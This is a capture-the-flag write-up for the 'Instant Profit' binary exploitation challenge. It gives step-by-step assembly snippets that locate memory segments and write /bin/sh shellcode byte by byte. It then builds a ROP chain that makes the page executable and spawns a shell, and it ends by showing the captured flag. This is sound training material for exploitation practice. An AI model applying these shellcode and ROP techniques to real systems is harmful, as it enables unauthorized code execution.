# Instant Profit
## Question Text
Please help test our new compiler micro-service
Challenge running at inst-prof.ctfcompetition.com:1337
* [inst_prof](https://capturetheflag.withgoogle.com/attachment/a3c63f9209a795d628bfff2c3d7a7293adfe81374e4375c1e29e47833b2b6317)
## Program Flow
![](./img/do_test.png "main function disassembled")![](./img/do_test_c.png "main function decompiled")![](./img/template.png "template function disassembled")
The program is very straightforward. First, a page is mmap'd. then thetemplate function is copied to the start of the page. Read is called tooverwrite the four NOPs in the allocated page with user data. The allocatedpage is mprotect'd to be executable. The allocated page isthen called. After it returns the allocated page is munmap'd.
## Solving
### First thoughts
When our buffer is executed, it runs in a loop 0x1000 times. RDI points toour buffer and RSI is 0x1000. If we call read_n to read 0x1000 bytes intoour executable buffer, instant profit!
![](./img/read_inst.png "read helper function")
#### SEGFAULT
Turns out make_page executable sets the page to be readable and executable,but no longer writeable. The process segfaults trying to read in the firstbyte.
### Second thoughts
Crap! Ok, looks like we'll have to write a buffer somewhere fixed then jumpto it later.$ cat /proc/$(pidof inst_prof)/maps564d85d04000-564d85d05000 r-xp 00000000 08:04 280187                     /home/user/google-ctf/inst_prof564d85f05000-564d85f06000 r--p 00001000 08:04 280187                     /home/user/google-ctf/inst_prof564d85f06000-564d85f07000 rw-p 00002000 08:04 280187                     /home/user/google-ctf/inst_prof7f80d4882000-7f80d4a41000 r-xp 00000000 08:02 1088604                    /lib/x86_64-linux-gnu/libc-2.23.so7f80d4a41000-7f80d4c41000 ---p 001bf000 08:02 1088604                    /lib/x86_64-linux-gnu/libc-2.23.so7f80d4c41000-7f80d4c45000 r--p 001bf000 08:02 1088604                    /lib/x86_64-linux-gnu/libc-2.23.so7f80d4c45000-7f80d4c47000 rw-p 001c3000 08:02 1088604                    /lib/x86_64-linux-gnu/libc-2.23.so7f80d4c47000-7f80d4c4b000 rw-p 00000000 00:00 0 7f80d4c4b000-7f80d4c71000 r-xp 00000000 08:02 1088605                    /lib/x86_64-linux-gnu/ld-2.23.so7f80d4e46000-7f80d4e49000 rw-p 00000000 00:00 0 7f80d4e6d000-7f80d4e6e000 r-xp 00000000 00:00 0 7f80d4e6e000-7f80d4e70000 rw-p 00000000 00:00 0 7f80d4e70000-7f80d4e71000 r--p 00025000 08:02 1088605                    /lib/x86_64-linux-gnu/ld-2.23.so7f80d4e71000-7f80d4e72000 rw-p 00026000 08:02 1088605                    /lib/x86_64-linux-gnu/ld-2.23.so7f80d4e72000-7f80d4e73000 rw-p 00000000 00:00 0 7ffe331f4000-7ffe33215000 rw-p 00000000 00:00 0                          [stack]7ffe33247000-7ffe33249000 r--p 00000000 00:00 0                          [vvar]7ffe33249000-7ffe3324b000 r-xp 00000000 00:00 0                          [vdso]ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
There is a rw mapping from the binary available to us. Hope it's at a fixedoffset from the main binary! We can save off the return address from [rsp].After rigorous testing we determine that the only registers thatremain unaffected between calls is r13, r14, and r15.mov  r14, [rsp]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x7f]lea r14, [r13-0x7f]lea r13, [r14-0x2e]mov r14, r13retThis awful assembly gives us the base of the text segment. Now comes themath to get to the rw segment.add r14, 0x70add r14, 0x70add r14, 0x70add r14, 0x70add r14, 0x42Remember that each of these instructions is executed 0x1000 times. Now thatwe have the base of that mapping, let's write our shellcode into itmov byte [r14], 0x6ainc r14retmov byte [r14], 0x68inc r14retmov byte [r14], 0x48inc r14retmov byte [r14], 0xb8inc r14retmov byte [r14], 0x2finc r14retmov byte [r14], 0x62inc r14retmov byte [r14], 0x69inc r14retmov byte [r14], 0x6einc r14retmov byte [r14], 0x2finc r14retmov byte [r14], 0x2finc r14retmov byte [r14], 0x2finc r14retmov byte [r14], 0x73inc r14retmov byte [r14], 0x50inc r14retmov byte [r14], 0x48inc r14retmov byte [r14], 0x89inc r14retmov byte [r14], 0xe7inc r14retmov byte [r14], 0x68inc r14retmov byte [r14], 0x72inc r14retmov byte [r14], 0x69inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0x81inc r14retmov byte [r14], 0x34inc r14retmov byte [r14], 0x24inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0x31inc r14retmov byte [r14], 0xf6inc r14retmov byte [r14], 0x56inc r14retmov byte [r14], 0x6ainc r14retmov byte [r14], 0x8inc r14retmov byte [r14], 0x5einc r14retmov byte [r14], 0x48inc r14retmov byte [r14], 0x1inc r14retmov byte [r14], 0xe6inc r14retmov byte [r14], 0x56inc r14retmov byte [r14], 0x48inc r14retmov byte [r14], 0x89inc r14retmov byte [r14], 0xe6inc r14retmov byte [r14], 0x31inc r14retmov byte [r14], 0xd2inc r14retmov byte [r14], 0x6ainc r14retmov byte [r14], 0x3binc r14retmov byte [r14], 0x58inc r14retmov byte [r14], 0xfinc r14retmov byte [r14], 0x5Alright, looks good.
#### Segfault! What!?!?
Apparently, whatever this mapping is, it is used for something somewhere.Oh well, time to adjust where we're writing our shellcode.
lea r15, [r14+0x7f]lea r14, [r15+0x7f]lea r15, [r14+0x7f]lea r14, [r15+0x7f]lea r15, [r14+0x7f]lea r14, [r15+0x7f]lea r15, [r14+0x7f]lea r14, [r15+0x7f]lea r15, [r14+0x7f]lea r14, [r15+0x7f]
There we go, we'll start writing *after* where the problem triggeredbefore. B-e-a-utiful.
### Shellcode's in memory, almost done, right?
Now all we have to do is make the page executable. Of course the firstthing to try is to try to somehow put 7 into rdx AND put our saved addressinto rdi then call mmap, but of course this is impossible to do in onlyfour bytes.
### Isn't there a function already for this?
Our shellcode isn't self-modifying so it doesn't matter if the buffer is nolonger writable. Time to get a pointer to the make_page_executablefunction.
lea r14, [r13-0x7f]lea r15, [r14-0x7f]lea r14, [r15-0x80]lea r15, [r14-0x7f]lea r14, [r15-0x7f]lea r15, [r14-0x7f]lea r14, [r15-0x7f]lea r15, [r14-0x7f]lea r14, [r15-0x7f]lea r15, [r14-0x7f]lea r14, [r15-0x7f]lea r15, [r14-0x6a]add r15, 0x1r15 now has the pointer to make_page_executable. Great, now we're cooking!
...Wait, how can I set rdi to our shellcode (saved off in r14) AND callmake_page_executable in r15 in four bytes or less? Spoiler alert: it can'tbe done.
### Time to ROP
When all else fails, ROP! It would be quite a pain to try to write our ropchain to another rw mapping in memory (since we're going to make themapping in our shellcode buffer no longer writable and our shellcode usesthe stack), so we're just going to reuse some stack space.mov r15, rspretmov [r15+0x60], r13mov [r15+0x58], r14lea rsp, [r15+0x50]This triggers the ROP to pop rdi (the page start of where our shellcodeis), ret to make_page_executable, then ret to our shellcode where we get aninteractive shell.
### Great! It works locally, let's try it remote!
Sadly unsurprisingly, it doesn't work remotely. Maybe the section mappingoffset is different on a different machine, who knows? I hate when thishappens, which is nearly always. Well, let's try running it locally withpwntools process() instead of gdb.debug().[*] Process './inst_prof' stopped with exit code -5 (SIGTRAP) (pid 21786)D'oh! Let's try deleting/commenting our debug lines;int3;ret;ret;ret
## It works!
$ lsflag.txtinst_prof$ cat flag.txtCTF{0v3r_4ND_0v3r_4ND_0v3r_4ND_0v3r}$ pwd/home/user$ iduid=1337(user) gid=1337(user) groups=1337(user)
